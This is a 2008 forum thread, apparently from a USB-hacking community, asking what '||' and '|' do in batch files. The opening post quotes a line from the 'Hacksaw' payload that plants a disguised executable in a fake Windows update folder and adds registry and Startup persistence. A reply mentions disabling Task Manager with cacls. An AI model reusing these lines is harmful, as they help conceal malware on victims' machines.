sc0rpi0 Posted January 31, 2008 Posted January 31, 2008 Hacksaw batch file n00b question: in this line, reg.exe add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v USBMedia /t REG_SZ /d "%systemroot%$NtUninstallKB931337$sbs.exe" /f || "%appdata%sbsshortcut.exe" /f:"%USERPROFILE%Start MenuProgramsStartup .lnk" /A:C /T:"%appdata%sbssbs.exe" /W:"%appdata%sbs" /I:"%appdata%sbsblank.ico" I understand what everything here does except one small part. what exectly does "||" do? Much appreciated. Quote
SomeoneE1se Posted January 31, 2008 Posted January 31, 2008 it means OR and in some cases "if fail do this instead" Quote
G-Stress Posted January 31, 2008 Posted January 31, 2008 Nice. I was wondering the same. So what about a single | in my package I disabled taskmgr using cacls but it would ask y or n so I had to add a echo y| before the command. It "pipes" it, is what I read. Quote
Gandalf the l33er Posted February 2, 2008 Posted February 2, 2008 Yes, | sends the output of the left-side commando to the right-size commando. A very common use of it is cat largefile.txt | more , which displays the file in "screens", using the utility more.exe. Another way to say it: (taken from http://www.infionline.net/~wtnewton/batch/batguide.html) Redirection and Pipes Normally, input is taken from the keyboard and output goes to the console. Redirection allows input and output to refer to a file or device instead. Pipes allow the output of one program to be used as input to another program. These symbols only work with programs that read from "standard input" and write to "standard output" but fortunately this includes most DOS commands. * The < symbol causes file to be fed to the program as input. * The > symbol causes the program's output to be sent to the following file or device. * The >> symbol causes the program's output to be appended to the file or device. * The | symbol (the pipe) causes the output of the preceding program to be sent to the following program. The following example shows how to use redirection with the FIND command... @echo off find %1<%2>nul if not errorlevel 1 echo %2 contains %1 Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.